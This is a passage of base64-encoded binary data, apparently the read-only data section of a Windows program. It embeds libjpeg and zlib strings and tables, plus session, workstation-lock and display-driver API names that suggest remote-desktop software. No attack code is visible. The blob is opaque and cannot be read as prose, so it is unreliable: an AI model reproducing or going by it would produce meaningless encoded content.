ABAAAAEBIEgAEAAAA4EgSAAQAAAGASBIABAAAAeBIEgAEAAACoEgSAAQAAAMgSBIABAAAA8BIEgAEAAAAYEwSAAQAAAEgTBIABAAAAeBMEgAEAAACYEwSAAQAAAMgTBIABAAAA8BMEgAEAAAAYFASAAQAAAEgUBIABAAAAeBQEgAEAAACoFASAAQAAANgUBIABAAAACBUEgAEAAAAwFQSAAQAAAFAVBIABAAAAcBUEgAEAAACoFQSAAQAAANgVBIABAAAA+BUEgAEAAAAgFgSAAQAAAEgWBIABAAAAYBYEgAEAAAB4FgSAAQAAAKAWBIABAAAAsBYEgAEAAADwFgSAAQAAADgXBIABAAAAaBcEgAEAAACYFwSAAQAAAMAXBIABAAAA4BcEgAEAAAAQGASAAQAAADAYBIABAAAASBgEgAEAAABgGASAAQAAAHAYBIABAAAAmBgEgAEAAADQGASAAQAAABAZBIABAAAAQBkEgAEAAABoGQSAAQAAAJAZBIABAAAAsBkEgAEAAADYGQSAAQAAAAAaBIABAAAAGBoEgAEAAABAGgSAAQAAAGgaBIABAAAAcBoEgAEAAACwGgSAAQAAAPAaBIABAAAAEBsEgAEAAAAgGwSAAQAAAEAbBIABAAAAYBsEgAEAAACAGwSAAQAAAKAbBIABAAAAwBsEgAEAAAAIHASAAQAAAEgcBIABAAAAgBwEgAEAAAC4HASAAQAAANAcBIABAAAA6BwEgAEAAAAQHQSAAQAAAFgdBIABAAAAmB0EgAEAAADQHQSAAQAAAPgdBIABAAAAKB4EgAEAAABIHgSAAQAAAIAeBIABAAAAsB4EgAEAAAAAAAAAAAAAAEJvZ3VzIG1lc3NhZ2UgY29kZSAlZAAAAFNvcnJ5LCB0aGVyZSBhcmUgbGVnYWwgcmVzdHJpY3Rpb25zIG9uIGFyaXRobWV0aWMgY29kaW5nAAAAAAAAAABBTElHTl9UWVBFIGlzIHdyb25nLCBwbGVhc2UgZml4AE1BWF9BTExPQ19DSFVOSyBpcyB3cm9uZywgcGxlYXNlIGZpeAAAAABCb2d1cyBidWZmZXIgY29udHJvbCBtb2RlAAAAAAAAAEludmFsaWQgY29tcG9uZW50IElEICVkIGluIFNPUwAARENUIGNvZWZmaWNpZW50IG91dCBvZiByYW5nZQAAAABJRENUIG91dHB1dCBibG9jayBzaXplICVkIG5vdCBzdXBwb3J0ZWQAQm9ndXMgSHVmZm1hbiB0YWJsZSBkZWZpbml0aW9uAABCb2d1cyBpbnB1dCBjb2xvcnNwYWNlAABCb2d1cyBKUEVHIGNvbG9yc3BhY2UAAABCb2d1cyBtYXJrZXIgbGVuZ3RoAAAAAABXcm9uZyBKUEVHIGxpYnJhcnkgdmVyc2lvbjogbGlicmFyeSBpcyAlZCwgY2FsbGVyIGV4cGVjdHMgJWQAAAAAU2FtcGxpbmcgZmFjdG9ycyB0b28gbGFyZ2UgZm9yIGludGVybGVhdmVkIHNjYW4ASW52YWxpZCBtZW1vcnkgcG9vbCBjb2RlICVkAAAAAABVbnN1cHBvcnRlZCBKUEVHIGRhdGEgcHJlY2lzaW9uICVkAAAAAAAASW52YWxpZCBwcm9ncmVzc2l2ZSBwYXJhbWV0ZXJzIFNzPSVkIFNlPSVkIEFoPSVkIEFsPSVkAABJbnZhbGlkIHByb2dyZXNzaXZlIHBhcmFtZXRlcnMgYXQgc2NhbiBzY3JpcHQgZW50cnkgJWQAAEJvZ3VzIHNhbXBsaW5nIGZhY3RvcnMAAEludmFsaWQgc2NhbiBzY3JpcHQgYXQgZW50cnkgJWQASW1wcm9wZXIgY2FsbCB0byBKUEVHIGxpYnJhcnkgaW4gc3RhdGUgJWQAAAAAAAAAAAAAAAAAAABKUEVHIHBhcmFtZXRlciBzdHJ1Y3QgbWlzbWF0Y2g6IGxpYnJhcnkgdGhpbmtzIHNpemUgaXMgJXUsIGNhbGxlciBleHBlY3RzICV1AAAAAEJvZ3VzIHZpcnR1YWwgYXJyYXkgYWNjZXNzAAAAAAAAQnVmZmVyIHBhc3NlZCB0byBKUEVHIGxpYnJhcnkgaXMgdG9vIHNtYWxsAAAAAAAAU3VzcGVuc2lvbiBub3QgYWxsb3dlZCBoZXJlAAAAAABDQ0lSNjAxIHNhbXBsaW5nIG5vdCBpbXBsZW1lbnRlZCB5ZXQAAAAAVG9vIG1hbnkgY29sb3IgY29tcG9uZW50czogJWQsIG1heCAlZAAAAFVuc3VwcG9ydGVkIGNvbG9yIGNvbnZlcnNpb24gcmVxdWVzdAAAAABCb2d1cyBEQUMgaW5kZXggJWQAAAAAAABCb2d1cyBEQUMgdmFsdWUgMHgleAAAAABCb2d1cyBESFQgaW5kZXggJWQAAAAAAABCb2d1cyBEUVQgaW5kZXggJWQAAAAAAABFbXB0eSBKUEVHIGltYWdlIChETkwgbm90IHN1cHBvcnRlZCkAAAAAUmVhZCBmcm9tIEVNUyBmYWlsZWQAAAAAV3JpdGUgdG8gRU1TIGZhaWxlZAAAAAAARGlkbid0IGV4cGVjdCBtb3JlIHRoYW4gb25lIHNjYW4AAAAAAAAAAElucHV0IGZpbGUgcmVhZCBlcnJvcgAAAE91dHB1dCBmaWxlIHdyaXRlIGVycm9yIC0tLSBvdXQgb2YgZGlzayBzcGFjZT8AAEZyYWN0aW9uYWwgc2FtcGxpbmcgbm90IGltcGxlbWVudGVkIHlldABIdWZmbWFuIGNvZGUgc2l6ZSB0YWJsZSBvdmVyZmxvdwAAAAAAAAAATWlzc2luZyBIdWZmbWFuIGNvZGUgdGFibGUgZW50cnkAAAAAAAAAAE1heGltdW0gc3VwcG9ydGVkIGltYWdlIGRpbWVuc2lvbiBpcyAldSBwaXhlbHMAAEVtcHR5IGlucHV0IGZpbGUAAAAAAAAAAFByZW1hdHVyZSBlbmQgb2YgaW5wdXQgZmlsZQAAAAAAQ2Fubm90IHRyYW5zY29kZSBkdWUgdG8gbXVsdGlwbGUgdXNlIG9mIHF1YW50aXphdGlvbiB0YWJsZSAlZAAAAFNjYW4gc2NyaXB0IGRvZXMgbm90IHRyYW5zbWl0IGFsbCBkYXRhAABJbnZhbGlkIGNvbG9yIHF1YW50aXphdGlvbiBtb2RlIGNoYW5nZQAATm90IGltcGxlbWVudGVkIHlldAAAAAAAUmVxdWVzdGVkIGZlYXR1cmUgd2FzIG9taXR0ZWQgYXQgY29tcGlsZSB0aW1lAAAAQmFja2luZyBzdG9yZSBub3Qgc3VwcG9ydGVkAAAAAABIdWZmbWFuIHRhYmxlIDB4JTAyeCB3YXMgbm90IGRlZmluZWQAAAAASlBFRyBkYXRhc3RyZWFtIGNvbnRhaW5zIG5vIGltYWdlAAAAAAAAAFF1YW50aXphdGlvbiB0YWJsZSAweCUwMnggd2FzIG5vdCBkZWZpbmVkAAAAAAAAAE5vdCBhIEpQRUcgZmlsZTogc3RhcnRzIHdpdGggMHglMDJ4IDB4JTAyeAAAAAAAAEluc3VmZmljaWVudCBtZW1vcnkgKGNhc2UgJWQpAAAAQ2Fubm90IHF1YW50aXplIG1vcmUgdGhhbiAlZCBjb2xvciBjb21wb25lbnRzAAAAQ2Fubm90IHF1YW50aXplIHRvIGZld2VyIHRoYW4gJWQgY29sb3JzAENhbm5vdCBxdWFudGl6ZSB0byBtb3JlIHRoYW4gJWQgY29sb3JzAABJbnZhbGlkIEpQRUcgZmlsZSBzdHJ1Y3R1cmU6IHR3byBTT0YgbWFya2VycwAAAABJbnZhbGlkIEpQRUcgZmlsZSBzdHJ1Y3R1cmU6IG1pc3NpbmcgU09TIG1hcmtlcgBVbnN1cHBvcnRlZCBKUEVHIHByb2Nlc3M6IFNPRiB0eXBlIDB4JTAyeAAAAAAAAABJbnZhbGlkIEpQRUcgZmlsZSBzdHJ1Y3R1cmU6IHR3byBTT0kgbWFya2VycwAAAABJbnZhbGlkIEpQRUcgZmlsZSBzdHJ1Y3R1cmU6IFNPUyBiZWZvcmUgU09GAAAAAABGYWlsZWQgdG8gY3JlYXRlIHRlbXBvcmFyeSBmaWxlICVzAAAAAAAAUmVhZCBmYWlsZWQgb24gdGVtcG9yYXJ5IGZpbGUAAABTZWVrIGZhaWxlZCBvbiB0ZW1wb3JhcnkgZmlsZQAAAFdyaXRlIGZhaWxlZCBvbiB0ZW1wb3JhcnkgZmlsZSAtLS0gb3V0IG9mIGRpc2sgc3BhY2U/AAAAQXBwbGljYXRpb24gdHJhbnNmZXJyZWQgdG9vIGZldyBzY2FubGluZXMAAAAAAAAAVW5zdXBwb3J0ZWQgbWFya2VyIHR5cGUgMHglMDJ4AABWaXJ0dWFsIGFycmF5IGNvbnRyb2xsZXIgbWVzc2VkIHVwAAAAAAAASW1hZ2UgdG9vIHdpZGUgZm9yIHRoaXMgaW1wbGVtZW50YXRpb24AAFJlYWQgZnJvbSBYTVMgZmFpbGVkAAAAAFdyaXRlIHRvIFhNUyBmYWlsZWQAAAAAAENvcHlyaWdodCAoQykgMTk5OCwgVGhvbWFzIEcuIExhbmUAAAAAAAA2YiAgMjctTWFyLTE5OTgAQ2F1dGlvbjogcXVhbnRpemF0aW9uIHRhYmxlcyBhcmUgdG9vIGNvYXJzZSBmb3IgYmFzZWxpbmUgSlBFRwAAAEFkb2JlIEFQUDE0IG1hcmtlcjogdmVyc2lvbiAlZCwgZmxhZ3MgMHglMDR4IDB4JTA0eCwgdHJhbnNmb3JtICVkAAAAAAAAAFVua25vd24gQVBQMCBtYXJrZXIgKG5vdCBKRklGKSwgbGVuZ3RoICV1AAAAAAAAAFVua25vd24gQVBQMTQgbWFya2VyIChub3QgQWRvYmUpLCBsZW5ndGggJXUAAAAAAERlZmluZSBBcml0aG1ldGljIFRhYmxlIDB4JTAyeDogMHglMDJ4AABEZWZpbmUgSHVmZm1hbiBUYWJsZSAweCUwMngAAAAAAERlZmluZSBRdWFudGl6YXRpb24gVGFibGUgJWQgIHByZWNpc2lvbiAlZAAAAAAAAERlZmluZSBSZXN0YXJ0IEludGVydmFsICV1AAAAAAAARnJlZWQgRU1TIGhhbmRsZSAldQAAAAAAT2J0YWluZWQgRU1TIGhhbmRsZSAldQAARW5kIE9mIEltYWdlAAAAACAgICAgICAgJTNkICUzZCAlM2QgJTNkICUzZCAlM2QgJTNkICUzZABKRklGIEFQUDAgbWFya2VyOiB2ZXJzaW9uICVkLiUwMmQsIGRlbnNpdHkgJWR4JWQgICVkAAAAAFdhcm5pbmc6IHRodW1ibmFpbCBpbWFnZSBzaXplIGRvZXMgbm90IG1hdGNoIGRhdGEgbGVuZ3RoICV1AAAAAABKRklGIGV4dGVuc2lvbiBtYXJrZXI6IHR5cGUgMHglMDJ4LCBsZW5ndGggJXUAAAAgICAgd2l0aCAlZCB4ICVkIHRodW1ibmFpbCBpbWFnZQAAAAAAAAAATWlzY2VsbGFuZW91cyBtYXJrZXIgMHglMDJ4LCBsZW5ndGggJXUAAFVuZXhwZWN0ZWQgbWFya2VyIDB4JTAyeAAAAAAAAAAAICAgICAgICAlNHUgJTR1ICU0dSAlNHUgJTR1ICU0dSAlNHUgJTR1AFF1YW50aXppbmcgdG8gJWQgPSAlZColZColZCBjb2xvcnMAAAAAAABRdWFudGl6aW5nIHRvICVkIGNvbG9ycwBTZWxlY3RlZCAlZCBjb2xvcnMgZm9yIHF1YW50aXphdGlvbgAAAAAAQXQgbWFya2VyIDB4JTAyeCwgcmVjb3ZlcnkgYWN0aW9uICVkAAAAAFJTVCVkAAAAU21vb3RoaW5nIG5vdCBzdXBwb3J0ZWQgd2l0aCBub25zdGFuZGFyZCBzYW1wbGluZyByYXRpb3MAAAAAAAAAAFN0YXJ0IE9mIEZyYW1lIDB4JTAyeDogd2lkdGg9JXUsIGhlaWdodD0ldSwgY29tcG9uZW50cz0lZAAAAAAAAAAgICAgQ29tcG9uZW50ICVkOiAlZGh4JWR2IHE9JWQAAFN0YXJ0IG9mIEltYWdlAABTdGFydCBPZiBTY2FuOiAlZCBjb21wb25lbnRzAAAAACAgICBDb21wb25lbnQgJWQ6IGRjPSVkIGFjPSVkAAAAICBTcz0lZCwgU2U9JWQsIEFoPSVkLCBBbD0lZAAAAABDbG9zZWQgdGVtcG9yYXJ5IGZpbGUgJXMAAAAAAAAAAE9wZW5lZCB0ZW1wb3JhcnkgZmlsZSAlcwAAAAAAAAAASkZJRiBleHRlbnNpb24gbWFya2VyOiBKUEVHLWNvbXByZXNzZWQgdGh1bWJuYWlsIGltYWdlLCBsZW5ndGggJXUAAAAAAAAASkZJRiBleHRlbnNpb24gbWFya2VyOiBwYWxldHRlIHRodW1ibmFpbCBpbWFnZSwgbGVuZ3RoICV1AAAAAAAAAEpGSUYgZXh0ZW5zaW9uIG1hcmtlcjogUkdCIHRodW1ibmFpbCBpbWFnZSwgbGVuZ3RoICV1AAAAVW5yZWNvZ25pemVkIGNvbXBvbmVudCBJRHMgJWQgJWQgJWQsIGFzc3VtaW5nIFlDYkNyAAAAAABGcmVlZCBYTVMgaGFuZGxlICV1AAAAAABPYnRhaW5lZCBYTVMgaGFuZGxlICV1AABVbmtub3duIEFkb2JlIGNvbG9yIHRyYW5zZm9ybSBjb2RlICVkAAAASW5jb25zaXN0ZW50IHByb2dyZXNzaW9uIHNlcXVlbmNlIGZvciBjb21wb25lbnQgJWQgY29lZmZpY2llbnQgJWQAAAAAAAAAQ29ycnVwdCBKUEVHIGRhdGE6ICV1IGV4dHJhbmVvdXMgYnl0ZXMgYmVmb3JlIG1hcmtlciAweCUwMngAAAAAAENvcnJ1cHQgSlBFRyBkYXRhOiBwcmVtYXR1cmUgZW5kIG9mIGRhdGEgc2VnbWVudAAAAAAAAAAAQ29ycnVwdCBKUEVHIGRhdGE6IGJhZCBIdWZmbWFuIGNvZGUAAAAAAFdhcm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